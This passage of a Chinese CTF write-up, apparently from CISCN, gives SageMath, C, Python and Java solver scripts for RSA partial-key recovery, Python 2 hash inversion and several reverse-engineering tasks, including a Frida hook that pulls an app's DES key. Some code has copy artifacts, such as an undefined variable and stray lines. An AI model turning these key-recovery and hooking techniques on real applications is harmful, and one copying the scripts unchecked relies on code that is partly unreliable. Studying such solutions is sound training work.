key = RSA.generate(1000)
passphrase = str(random.randint(0,999999)).zfill(6).encode()
output = key.export_key(passphrase=passphrase).split(b'\n')
for i in range(7, 15):
    output[i] = b'*' * 64
with open("priv.pem", 'wb') as f:
    for line in output:
        f.write(line + b'\n')
with open("enc.txt", 'w') as f:
    f.write(str(key._encrypt(m)))
enc.txt:
55149764057291700808946379593274733093556529902852874590948688362865310469901900909075397929997623185589518643636792828743516623112272635512151466304164301360740002369759704802706396320622342771513106879732891498365431042081036698760861996177532930798842690295051476263556258192509634233232717503575429327989
priv.pem:
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: DES-EDE3-CBC,435BF84C562FE793
9phAgeyjnJYZ6lgLYflgduBQjdX+V/Ph/fO8QB2ZubhBVOFJMHbwHbtgBaN3eGlh
WiEFEdQWoOFvpip0whr4r7aGOhavWhIfRjiqfQVcKZx4/f02W4pcWVYo9/p3otdD
ig+kofIR9Ky8o9vQk7H1eESNMdq3PPmvd7KTE98ZPqtIIrjbSsJ9XRL+gr5a91gH
****************************************************************
****************************************************************
****************************************************************
****************************************************************
****************************************************************
****************************************************************
****************************************************************
****************************************************************
hQds7ZdA9yv+yKUYv2e4de8RxX356wYq7r8paBHPXisOkGIVEBYNviMSIbgelkSI
jLQka+ZmC2YOgY/DgGJ82JmFG8mmYCcSooGL4ytVUY9dZa1khfhceg==
-----END RSA PRIVATE KEY-----
题目分析:
第一部分先略过吧,不想看
直接跳到后面阶段
得到的数据有:
n = 0x00a18f011bebacceda1c6812730b9e62720d3cbd6857af2cf8431860f5dc83c5520f242f3be7c9e96d7f96b41898ff000fdb7e43ef6f1e717b2b7900f35660a21d1b16b51849be97a0b0f7cbcf5cfe0f00370cce6193fefa1fed97b37bd367a673565162ce17b0225708c032961d175bbc2c829bf2e16eabc7e0881feca0975c81
e = 0x10001
inv = 0x5f152c429871a7acdd28be1b643b4652800b88a3d23cc57477d75dd5555b635167616ef5c609d69ce3c2aedcb03b62f929bbcd891cadc0ba031ae6fec8a2116d
dqlow = 0x8f2363b340e5

4.checkin

题目描述:
from Crypto.Util.number import *
from secret import flag
p = getPrime(512)
q = getPrime(512)
n = p*q
x = 2021*p+1120*q
h = (inverse(x,n)+x)%n
e = 65537
c = pow(bytes_to_long(flag), e, n)
print('n =', n)
print('c =', c)
print('h =', h)
print('p0 =', p >> 490)
# n = 124592923216765837982528839202733339713655242872717311800329884147642320435241014134533341888832955643881019336863843062120984698416851559736918389766033534214383285754683751490292848191235308958825702189602212123282858416891155764271492033289942894367802529296453904254165606918649570613530838932164490341793
# c = 119279592136391518960778700178474826421062018379899342254406783670889432182616590099071219538938202395671695005539485982613862823970622126945808954842683496637377151180225469409261800869161467402364879561554585345399947589618235872378329510108345004513054262809629917083343715270605155751457391599728436117833
# h = 115812446451372389307840774747986196103012628652193338630796109042038320397499948364970459686079508388755154855414919871257982157430015224489195284512204803276307238226421244647463550637321174259849701618681565567468929295822889537962306471780258801529979716298619553323655541002084406217484482271693997457806
# p0 = 4055618
题目分析:
已知:
现在的重点是small_roots()里面的参数要怎么设置 先来点 前置知识 (怕自己又忘了):
在方程F(x),模数N确认的情况下,我们可以通过增加 β \betaβ 的取值或减小 ϵ \epsilonϵ 的取值,使得X取到更优的上界。
现在,已知d = 2,beta = 1,X有500位未知,我们取epsilon = 0.01是完成能够得到结果的,但我们也知道epsilon越小,耗时越长,我们试着把epsilon调大一点,让epsilon = 0.02,看看能否出结果。经过测试也是能出结果的,那么就用它啦
把x_diff求出来了,后面就简单了,这也就不多说了
from Crypto.Util.number import long_to_bytes
N = 124592923216765837982528839202733339713655242872717311800329884147642320435241014134533341888832955643881019336863843062120984698416851559736918389766033534214383285754683751490292848191235308958825702189602212123282858416891155764271492033289942894367802529296453904254165606918649570613530838932164490341793
c = 119279592136391518960778700178474826421062018379899342254406783670889432182616590099071219538938202395671695005539485982613862823970622126945808954842683496637377151180225469409261800869161467402364879561554585345399947589618235872378329510108345004513054262809629917083343715270605155751457391599728436117833
h = 115812446451372389307840774747986196103012628652193338630796109042038320397499948364970459686079508388755154855414919871257982157430015224489195284512204803276307238226421244647463550637321174259849701618681565567468929295822889537962306471780258801529979716298619553323655541002084406217484482271693997457806
p0 = 4055618
p_high = p0 << 490
x0 = 2021 * p_high + 1120 * (N // p_high)
P.<x_diff> = PolynomialRing(Zmod(N))
f = (x0 + x_diff)^2 + 1 - h * (x0 + x_diff)
res = f.small_roots(X = 2^500, epsilon = 0.02)
x_diff = Integer(res[0])
x = x0 + x_diff
p = var('p')
q = var('q')
res = solve([x == 2021 * p + 1120 * q, N == p * q], p, q)
print(res)
p = Integer(res[0][0].rhs()) # 提取等号右边部分
q = Integer(res[0][1].rhs())
d = inverse_mod(65537, (p - 1) * (q - 1))
print(long_to_bytes(int(pow(c,d,N))))
进入主题 国赛ez_rsa 题目描述: (就截取这么一点点了)
n = 0x00a18f011bebacceda1c6812730b9e62720d3cbd6857af2cf8431860f5dc83c5520f242f3be7c9e96d7f96b41898ff000fdb7e43ef6f1e717b2b7900f35660a21d1b16b51849be97a0b0f7cbcf5cfe0f00370cce6193fefa1fed97b37bd367a673565162ce17b0225708c032961d175bbc2c829bf2e16eabc7e0881feca0975c81
e = 65537
inv = 0x5f152c429871a7acdd28be1b643b4652800b88a3d23cc57477d75dd5555b635167616ef5c609d69ce3c2aedcb03b62f929bbcd891cadc0ba031ae6fec8a2116d
dqlow = 0x8f2363b340e5

题目分析:

方式1

解方程的过程和上题的思路应该来说是一样的 这里也是d = 2,beta = 1,所以关键部分还是落在了epsilon 的取值上,这个就自己去生成数据测一测,从0.05往上加,发现到0.09以后解集为空,那么设置成0.09就行
from Crypto.Util.number import *
from tqdm import *
n = 0x00a18f011bebacceda1c6812730b9e62720d3cbd6857af2cf8431860f5dc83c5520f242f3be7c9e96d7f96b41898ff000fdb7e43ef6f1e717b2b7900f35660a21d1b16b51849be97a0b0f7cbcf5cfe0f00370cce6193fefa1fed97b37bd367a673565162ce17b0225708c032961d175bbc2c829bf2e16eabc7e0881feca0975c81
e = 0x010001
dqlow = 0x8f2363b340e5
inv = 0x5f152c429871a7acdd28be1b643b4652800b88a3d23cc57477d75dd5555b635167616ef5c609d69ce3c2aedcb03b62f929bbcd891cadc0ba031ae6fec8a2116d
c = 55149764057291700808946379593274733093556529902852874590948688362865310469901900909075397929997623185589518643636792828743516623112272635512151466304164301360740002369759704802706396320622342771513106879732891498365431042081036698760861996177532930798842690295051476263556258192509634233232717503575429327989
bits = 48
PR.<x> = PolynomialRing(Zmod(n))
dq = (2 ^ bits * x) + dqlow
# k = 47794
for k in trange(e,1,-1):
    f = inv * (e * (2 ^ bits * x + dqlow) - 1 + k) ^ 2 - k * (e * (2 ^ T * x + dqlow) - 1 + k)
    f = f.monic()
    root = f.small_roots(X=2 ^ (512 - bits), epsilon = 0.09)
    if root:
        dq = int(root[0]) * 2 ** bits + dqlow
        q = int((e * dq - 1) // k + 1)
        p = int(n // q)
        phi = (p - 1) * (q - 1)
        d = inverse_mod(e,phi)
        print(long_to_bytes(int(pow(c,d,n))))
        break
from Crypto.Util.number import long_to_bytes
from tqdm import *
from Crypto.Util.number import *
n = 0x00a18f011bebacceda1c6812730b9e62720d3cbd6857af2cf8431860f5dc83c5520f242f3be7c9e96d7f96b41898ff000fdb7e43ef6f1e717b2b7900f35660a21d1b16b51849be97a0b0f7cbcf5cfe0f00370cce6193fefa1fed97b37bd367a673565162ce17b0225708c032961d175bbc2c829bf2e16eabc7e0881feca0975c81
inv = 0x5f152c429871a7acdd28be1b643b4652800b88a3d23cc57477d75dd5555b635167616ef5c609d69ce3c2aedcb03b62f929bbcd891cadc0ba031ae6fec8a2116d
c = 55149764057291700808946379593274733093556529902852874590948688362865310469901900909075397929997623185589518643636792828743516623112272635512151466304164301360740002369759704802706396320622342771513106879732891498365431042081036698760861996177532930798842690295051476263556258192509634233232717503575429327989
dq_low = 0x8f2363b340e5
q_low = []
bits = 48
e = 65537
qq = var('qq')
PR.<x> = PolynomialRing(Zmod(n))
# k = 47794
for k in trange(e,1,-1):
    k = 47794
    q0 = solve_mod([e * dq_low == k * qq - k + 1], 2^bits)
    for i in q0:
        f = inv * (2 ^ bits * x + int(i[0])) ^ 2 - (2 ^ bits * x + int(i[0]))
        f = f.monic()
        root = f.small_roots(X = 2^(512-bits), epsilon = 0.09)
        if root:
            q = 2^bits * int(root[0]) + int(i[0])
            p = n // q
            d = inverse_mod(e,(p - 1) * (q - 1))
            print(long_to_bytes(int(pow(c,d,n))))
            break
# flag{df4a4054-23eb-4ba4-be5e-15b247d7b819}

5.hash

题目描述
你能仅仅通过一个Python2.7自带的hash函数的输出,计算出它的原象的sha384哈希值吗?
解题思路
将压缩包解压后,含有两个文件,分别是 hash.py 、 output.txt 。
hash.py
#!/usr/bin/python2
# Python 2.7 (64-bit version)
from secret import flag
import os, binascii, hashlib
key = os.urandom(7)
print hash(key)
print int(hashlib.sha384(binascii.hexlify(key)).hexdigest(), 16) ^ int(binascii.hexlify(flag), 16)
output.txt
7457312583301101235
13903983817893117249931704406959869971132956255130487015289848690577655239262013033618370827749581909492660806312017
output.txt 的两行数据分别是 hash.py 中的两行输出。
根据源代码逻辑,可以知道首要问题是如何将 k e y keykey 的密文,解密出原文。
通过查询 python2.7 的内置 hash 函数,可以搜索到相关信息:
python3 中的 hash 函数相对于 python2 ,不同在于 python3 中会对要加密的字符串的运算添加 prefix 和 suffix ,而 python2 默认不会添加。
通过 github 上 python2.7 开源代码,找到 python2.7 中 str 类型的 hash 计算源码,部分代码如下:
static long
string_hash(PyStringObject *a)
{
    register Py_ssize_t len;
    register unsigned char *p;
    register long x;
#ifdef Py_DEBUG
    assert(_Py_HashSecret_Initialized);
#endif
    if (a->ob_shash != -1)
        return a->ob_shash;
    len = Py_SIZE(a);
    /*
      We make the hash of the empty string be 0, rather than using
      (prefix ^ suffix), since this slightly obfuscates the hash secret
    */
    if (len == 0) {
        a->ob_shash = 0;
        return 0;
    }
    p = (unsigned char *) a->ob_sval;
    x = _Py_HashSecret.prefix;
    x ^= *p << 7;
    while (--len >= 0)
        x = (1000003*x) ^ *p++;
    x ^= Py_SIZE(a);
    x ^= _Py_HashSecret.suffix;
    if (x == -1)
        x = -2;
    a->ob_shash = x;
    return x;
}
将其逻辑再编写成一个简易的函数方便测试,代码如下:
ll h(char *s, ll len) {
    ll res = 0;
    res ^= (s[0] << 7LL);
    for(int i = 0; i < len; ++i) {
        res = (res * 1000003ull) ^ (unsigned )s[i];
    }
    res ^= len;
    return res;
}
现在进行解密算法的寻找,可以解密关键在于将表达式
解密代码如下:
vector<unsigned> uh(ull d) {
    d ^= 7;
    ull res = d;
    for(ull i7 = 0; i7 < 256u; ++i7)
    for(ull i6 = 0; i6 < 256u; ++i6)
    for(ull i5 = 0; i5 < 256u; ++i5) {
        ull res_6 = (res ^ i7) * iv; //iv 是1000003在模数2^64下的逆元
        ull res_5 = (res_6 ^ i6) * iv;
        ull res_4 = (res_5 ^ i5) * iv;
        vector<int> a(3);
        a[0] = i7;
        a[1] = i6;
        a[2] = i5;
        Hashmap[res_4] = a;
    }
    for(ull i1 = 0; i1 < 256u; ++i1)
    for(ull i2 = 0; i2 < 256u; ++i2)
    for(ull i3 = 0; i3 < 256u; ++i3)
    for(ull i4 = 0; i4 < 256u; ++i4) {
        ull res_1 = ((i1 << 7) * v) ^ i1; //v 是1000003
        ull res_2 = (res_1 * v) ^ i2;
        ull res_3 = (res_2 * v) ^ i3;
        ull res_4 = (res_3 * v) ^ i4;
        if(Hashmap.find(res_4)!=Hashmap.end()){
            return vector<unsigned>{i1,i2,i3,i4,Hashmap[res_4][2], Hashmap[res_4][1], Hashmap[res_4][0]};
        }
    }
}
具体公式推导涉及同余方程、逆元等知识。
代码运行完毕得到密文的 ascii 为 93 140 240 63 90 8 82
key = ']\x8c\xf0?Z\x08R'
pre = int(hashlib.sha384(binascii.hexlify(key)).hexdigest(), 16)
ans = 13903983817893117249931704406959869971132956255130487015289848690577655239262013033618370827749581909492660806312017
flag = ans ^ pre
flag = hex(flag)
print flag
flag 的16进制为 666c61677b62646235333761612d383765662d346539352d626561342d3266373932353962646430377d
使用在线16进制转字符网站计算,得到 flag 原文为 flag{bdb537aa-87ef-4e95-bea4-2f79259bdd07} 

四、Reverse

1、asm_re

下载得到txt文件,打开发现是ida跑出来的arm的汇编代码,再结合题目名称,这题应该是要读汇编代码了
找到关键部分,整理一下
数据存在__const段里,注意小端法提取一下
然后就可以脚本解出了
exp:
decodechr=''
flag=''
enc=[0x1fd7,0x21b7,0x1e47,0x2027,0x26e7,0x10d7,0x1127,0x2007,0x11c7,0x1e47,0x1017,0x1017,0x11f7,0x2007,0x1037,0x1107,0x1f17,0x10d7,0x1017,0x1017,0x1f67,0x1017,0x11c7,0x11c7,0x1017,0x1fd7,0x1f17,0x1107,0x0f47,0x1127,0x1037,0x1e47,0x1037,0x1fd7,0x1107,0x1fd7,0x1107,0x2787]
for i in enc:
    decodechr=chr((((i-0x1e)^0x4d)-0x14) // 0x50)
    flag+=decodechr
print((flag))
'
运行运行
拿到:flag{67e9a228e45b622c2992fb5174a4f5f5}

2、androidso_re

用jadx打开,定位到mainactivity
使用函数legal进行了判断,函数里使用了方法inspect,查看一下
这里关键的两个参数就是key和iv,解压安装包看看so
直接hook
function main() {
        Java.perform(function () {
            Java.enumerateClassLoaders({
                onMatch: function (loader) {
                    try {
                        var factory = Java.ClassFactory.get(loader);
                        var CheckerClass = factory.use("com.example.re11113.inspect");
                        var key = CheckerClass.getKey();
                        console.log("Key: " + key);
                    } catch (e) {
                        // console.log("Error accessing class or method: " + e);
                    }
                },
                onComplete: function () {}
            });
        });
    }
    setTimeout(main,1000);
package ciscn;
import javax.crypto.Cipher;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import java.nio.charset.StandardCharsets;
import java.util.Arrays;
import java.util.Base64;
public class FlagDecryptor {
    private static final String ALGORITHM = "DES/CBC/PKCS5Padding";
    private static final String CHARSET = StandardCharsets.UTF_8.name();
    public static void main(String[] args) {
        try {
            String encryptedFlag = "JqslHrdvtgJrRs2QAp+FEVdwRPNLswrnykD/sZMivmjGRKUMVIC/rw==";
            String decryptedString = decryptFlag(encryptedFlag);
            System.out.println("Decrypted string: " + decryptedString);
        } catch (Exception e) {
            System.err.println("Decryption failed: " + e.getMessage());
        }
    }
    private static String decryptFlag(String encryptedFlag) throws Exception {
        byte[] keyBytes = JniUtils.getKey().getBytes(CHARSET);
        byte[] ivBytes = JniUtils.getIv().getBytes(CHARSET);
        SecretKeySpec key = new SecretKeySpec(Arrays.copyOf(keyBytes, 8), "DES");
        IvParameterSpec iv = new IvParameterSpec(ivBytes);
        Cipher cipher = Cipher.getInstance(ALGORITHM);
        cipher.init(Cipher.DECRYPT_MODE, key, iv);
        byte[] encryptedBytes = Base64.getDecoder().decode(encryptedFlag);
        byte[] decryptedBytes = cipher.doFinal(encryptedBytes);
        return new String(decryptedBytes, CHARSET);
    }
    static class JniUtils {
        public static String getKey() {
            return "A8UdWaeq";
        }
        public static String getIv() {
            return "Wf3DLups";
        }
    }
}
flag{188cba3a5c0fbb2250b5a2e590c391ce}

3、whereThel1b

打开py文件
逻辑很清晰,主要的加密内容肯定是在so文件里面
这个文件有很强的python编译特征,可以考虑进行反编译
特征函数,编写exp:
import base64
import random
random.seed(0)
encry = [108, 117, 72, 80, 64, 49, 99, 19, 69, 115, 94, 93, 94, 115, 71, 95, 84, 89, 56, 101, 70, 2, 84, 75, 127, 68, 103, 85, 105, 113, 80, 103, 95, 67, 81, 7, 113, 70, 47, 73, 92, 124, 93, 120, 104, 108, 106, 17, 80, 102, 101, 75, 93, 68, 121, 26]
keys = [random.randint(0, len(encry)) for _ in range(len(encry))]
flag = [k ^ e for k, e in zip(keys, encry)]
decoded_flag = base64.b64decode(''.join(map(chr, flag)).encode()).decode()
print(decoded_flag)
'
运行运行
 flag{7f9a2d3c-07de-11ef-be5e-cf1e88674c0b}

4.gdb_debug

用IDA反编译,定位main函数,可以发现程序逻辑为:
在这里插入图片描述
输入str,将str每一个字符异或一个随机数,得到str2
在这里插入图片描述
定义str3,随机交换洗牌,得到一个0-38的随机不重复的序列
在这里插入图片描述
根据str3,得到str4,使得str4[i]=str2[str[3]]
在这里插入图片描述
将str4每一个字符异或一个随机数
在这里插入图片描述
根据str4,得到s1,使得s1[i]=str4[i]^byte_5636B30010A0,其中byte_5636B30010A0固定且已给出
在这里插入图片描述
将s1与s2作对比,若相同,则输入flag正确,其中s2为"congratulationstoyoucongratulationstoy"
在这里插入图片描述
这个程序的特性在于,在置随机数种子时,使用的是当前时间按位与0xF0000000的结果为种子,使得种子在很长一段时间执行时都相同。
在这里插入图片描述
基于此,我们可以提前求出要用到的随机数(要在Linux系统上运行,与Win的rand()逻辑不同):
srand(((int)time(0))& 0xF0000000);
char rand1[38];
unsigned int rand2[38],rand3[38];
for(int i=0;i<len;i++)
{
    rand1[i] = rand();
    // cout << (unsigned int)(rand1[i]&0xff) << " ";
}
for(int i=len-1;i;--i)
{
    rand2[i] = rand()%(i+1);
    // cout << (unsigned int)(rand2[i]&0xff) << " ";
}
for(int i=0;i<len;i++)
{
    rand3[i] = rand();
}
然后根据上面所述步骤,反过来计算一遍,完整代码如下:
# Run in linux
#include <iostream>
#include <cstdio>
#include <cstdlib>
#include <cstring>
#include <cctype>
#include <cmath>
#include <vector>
#include <algorithm>
#include <stack>
#include <set>
#include <map>
#include <ctime>
#include <unistd.h>
#include "defs.h"
// #include <bits/stdc++.h>
using namespace std;
typedef long long LL;
typedef long double DD;
int main()
{
    srand(((int)time(0))& 0xF0000000);
    char s2[] = "congratulationstoyoucongratulationstoy";
    unsigned char byte_10A0[] = {
        0xBF, 0xD7, 0x2E, 0xDA, 0xEE, 0xA8, 0x1A, 0x10, 0x83, 0x73, 0xAC, 0xF1, 0x06, 0xBE, 0xAD, 0x88, 
        0x04, 0xD7, 0x12, 0xFE, 0xB5, 0xE2, 0x61, 0xB7, 0x3D, 0x07, 0x4A, 0xE8, 0x96, 0xA2, 0x9D, 0x4D, 
        0xBC, 0x81, 0x8C, 0xE9, 0x88, 0x78, 0x00, 0x00
    };
    char rand1[38];
    unsigned int rand2[38],rand3[38];
    int len = strlen(s2);
    cout << "len:" << len << endl;
    for(int i=0;i<len;i++)
    {
        rand1[i] = rand();
        // cout << (unsigned int)(rand1[i]&0xff) << " ";
    }
    for(int i=len-1;i;--i)
    {
        rand2[i] = rand()%(i+1);
        // cout << (unsigned int)(rand2[i]&0xff) << " ";
    }
    for(int i=0;i<len;i++)
    {
        rand3[i] = rand();
    }
    for(int i=0;i<len;i++)
    {
        s2[i] ^= byte_10A0[i];
    }
    for(int i=0;i<len;i++)
    {
        s2[i] ^= rand3[i];
    }
    int str3[39];
    for(int i=0;i<len;i++)
    {
        str3[i] = i;
    }
    for(int i=len-1;i;--i)
    {
        int temp = str3[i];
        str3[i] = str3[rand2[i]];
        str3[rand2[i]] = temp;
    }
    //s2[i]=str2[str3[i]];
    char str2[39] = {0};
    for(int i=0;i<len;i++)
    {
        str2[str3[i]] = s2[i];
    }
    for(int i=0;i<len;i++)
    {
        str2[i] ^= rand1[i];
    }
    cout << str2;
    return 0; //-22 61 13 92
}
在Linux上运行,得到flag:
在这里插入图片描述
附件题目地址:链接: https://pan.baidu.com/s/1q-SEU_4WnD9o2ZUn9b6tDw 提取码: jdur
参考转自原文连接地址:
https://blog.csdn.net/CHTXRT/article/details/139051214
https://blog.csdn.net/uuzeray/article/details/139052904
https://xz.aliyun.com/t/14556
https://blog.csdn.net/weixin_62467741/article/details/139122071
https://blog.csdn.net/CHTXRT/article/details/139051214
https://blog.csdn.net/Jayjay___/article/details/139047540
https://blog.csdn.net/Myon5/article/details/139046502
https://blog.csdn.net/XiongSiqi_blog/article/details/139064568
https://blog.csdn.net/althumi/article/details/139077709

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2190000.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

操作系统实验之银行算法

一、实验目的 采用高级语言编写一个动态分配系统资源的程序&#xff0c;模拟死锁现象&#xff0c;观察死锁发生的条件&#xff0c;并采用适当的算法&#xff0c;有效地防止死锁的发生。 二、实验内容 本次实验采用银行算法防止死锁的发生。设有3个并发进程共享10个系统资源。在…

1c语言基础

1.关键字 一、数据类型关键字 A基本数据类型&#xff08;5个&#xff09; void&#xff1a;声明函数无返回值或无参数&#xff0c;声明无类型指针&#xff0c;显式丢弃运算结果char&#xff1a;字符型类型数据&#xff0c;属于整型数据的一种int&#xff1a;整型数据&#x…

Ollama 运行视觉语言模型LLaVA

Ollama的LLaVA&#xff08;大型语言和视觉助手&#xff09;模型集已更新至 1.6 版&#xff0c;支持&#xff1a; 更高的图像分辨率&#xff1a;支持高达 4 倍的像素&#xff0c;使模型能够掌握更多细节。改进的文本识别和推理能力&#xff1a;在附加文档、图表和图表数据集上进…

Github界面学习

之前并没有使用到其他功能大多数是看代码&#xff0c;然后看discussion&#xff1b; now,在做毕设的时候发现了一个gymnasium关于异步环境的bug&#xff0c;查看github发现已经被修复了&#xff1b; 因此希望学习一下修复者是在哪个module修复以及如何修复以及提交代码&#…

Spring Boot框架在大学生就业招聘中的应用

3系统分析 3.1可行性分析 通过对本大学生就业招聘系统实行的目的初步调查和分析&#xff0c;提出可行性方案并对其一一进行论证。我们在这里主要从技术可行性、经济可行性、操作可行性等方面进行分析。 3.1.1技术可行性 本大学生就业招聘系统采用JAVA作为开发语言&#xff0c;S…

kaggle实战3RossmanStore商店销售额预测XgBoost解决回归问题案例1

kaggle实战2信用卡反欺诈逻辑回归模型案例1 数据集下载地址 https://download.csdn.net/download/AnalogElectronic/89844637 https://tianchi.aliyun.com/dataset/89785 加载数据 #预测销售额 回归问题 import numpy as np import pandas as pd import matplotlib.pyplot a…

无神论文解读之ControlNet:Adding Conditional Control to Text-to-Image Diffusion Models

一、什么是ControlNet ControlNet是一种能够控制模型生成内容的方法&#xff0c;能够对文生图等模型添加限制信息&#xff08;边缘、深度图、法向量图、姿势点图等&#xff09;&#xff0c;在当今生成比较火的时代很流行。 这种方法使得能够直接提供空间信息控制图片以更细粒…

招联2025校招内推倒计时

【投递方式】 直接扫下方二维码&#xff0c;或点击内推官网https://wecruit.hotjob.cn/SU61025e262f9d247b98e0a2c2/mc/position/campus&#xff0c;使用内推码 igcefb 投递&#xff09; 【招聘岗位】 后台开发 前端开发 数据开发 数据运营 算法开发 技术运维 软件测试 产品策…

【课程学习】随机过程之泊松过程

随机过程之泊松过程 泊松分布泊松过程 泊松分布 二项分布是离散性的分布&#xff0c;泊松分布是把二项分布取n趋于无穷得到的连续分布。也就是在一段时间内不停的观察某件事情发生的次数。 如&#xff1a;一个小时内观察一段路上经过行人的数目&#xff0c;如果每个半个小时观…

nginx和gateway的关系和区别

在技术选型时&#xff0c;选择 Nginx 和 Spring Cloud Gateway&#xff08;或简称为 Gateway&#xff09;主要取决于具体应用场景和技术需求。下面是两者的一些关键差异和适用场景。 一、Nginx 概念 Nginx 是一个高性能的 Web 服务器和反向代理服务器&#xff0c;常被用作静…

智能手表(Smart Watch)项目

文章目录 前言一、智能手表&#xff08;Smart Watch&#xff09;简介二、系统组成三、软件框架四、IAP_F411 App4.1 MDK工程结构4.2 设计思路 五、Smart Watch App5.1 MDK工程结构5.2 片上外设5.3 板载驱动BSP5.4 硬件访问机制-HWDataAccess5.4.1 LVGL仿真和MDK工程的互相移植5…

CSRF | CSRF 漏洞介绍

关注这个漏洞的其他相关笔记&#xff1a;CSRF 漏洞 - 学习手册-CSDN博客 0x01&#xff1a;CSRF 漏洞简介 CSRF&#xff08;Cross-Site request forgery&#xff0c;跨站请求伪造&#xff09;也被称为 One Click Attack 或者 Session Riding&#xff0c;通常缩写为 CSRF 或者 X…

【Java】IntelliJ IDEA开发环境安装

一、下载 官方地址&#xff1a;https://www.jetbrains.com/idea/ 点击Download直接下载 二、安装 双击安装包&#xff0c;点击Next 选择安装路径&#xff0c;点击Next 勾选安装内容 安装完成。 三、创建项目 打开IDEA&#xff0c;填写项目名称&#xff0c;选择项目安装路径…

S7-200 SMART的数据类型说明

S7-200 SMART的数据主要分为&#xff1a; 与实际输入/输出信号相关的输入/输出映象区&#xff1a; I&#xff1a;数字量输入&#xff08;DI&#xff09;Q&#xff1a;数字量输出&#xff08;DO&#xff09;AI&#xff1a;模拟量输入AQ&#xff1a;模拟量输出 内部数据存储区…

STM32 Hal库SDIO在FATFS使用下的函数调用关系

STM32 Hal库SDIO在FATFS使用下的函数调用关系 本文并不将FATFS的相关接口操作&#xff0c;而是将HAL在使用FATFS通过SDIO外设管理SD卡时&#xff0c;内部函数的调用逻辑&#xff0c;有助于当我们使用CUBEMX生成FATFS读取SD卡的代码时无法运行时Debug。本文也会说明一些可能出现…

如何编写一个优雅的commit message

在Git中&#xff0c;git commit 命令扮演着至关重要的角色。它的主要作用是将暂存区&#xff08;staging area&#xff09;里的改动内容提交到本地仓库&#xff08;repository&#xff09;中&#xff0c;形成一个新的版本或提交&#xff08;commit&#xff09;。这个过程是 Git…

渗透测试入门学习——使用python脚本自动识别图片验证码,OCR技术初体验

写在前面 由于验证码在服务端生成后存储在服务器的session中&#xff0c;而标用于标识用户身份的sessionid存在于用户cookie中 所以本次识别验证码时需要用requests.session()创建会话对象&#xff0c;模拟真实的浏览器行为&#xff0c;保持与服务器的会话才能获取登录时服务…

wsl2 ubuntu 桥接以太网卡

注意&#xff1a;此方法需要至少 Windows 11 22H2。桥接模式就是将主机网卡与虚拟机虚拟的网卡利用虚拟网桥进行通信。 在桥接的作用下&#xff0c;类似于把宿主机虚拟为一个交换机&#xff0c;所有桥接设置的虚拟机连接到这个交换机的一个接口上&#xff0c;宿主机也同样插在这…

通信工程学习:什么是RARP反向地址解析协议

RARP&#xff1a;反向地址解析协议 RARP&#xff08;Reverse Address Resolution Protocol&#xff0c;反向地址解析协议&#xff09;是一种网络协议&#xff0c;其主要作用是在设备只知道物理地址&#xff08;如MAC地址&#xff09;时&#xff0c;允许其从网关服务器的地址解析…

致亲爱的Android studio

你的未来发展趋势&#xff1a; 可不可以把兼容性&#xff0c;什么的搞得更好。起因是我想写期末大作业&#xff0c;然后简单的把功能写的差不多了之后&#xff0c;我就想到处看看有没有一套比较好的类似于组件库的东西&#xff0c;但是没找到&#xff0c;然后就把目标锁定到了G…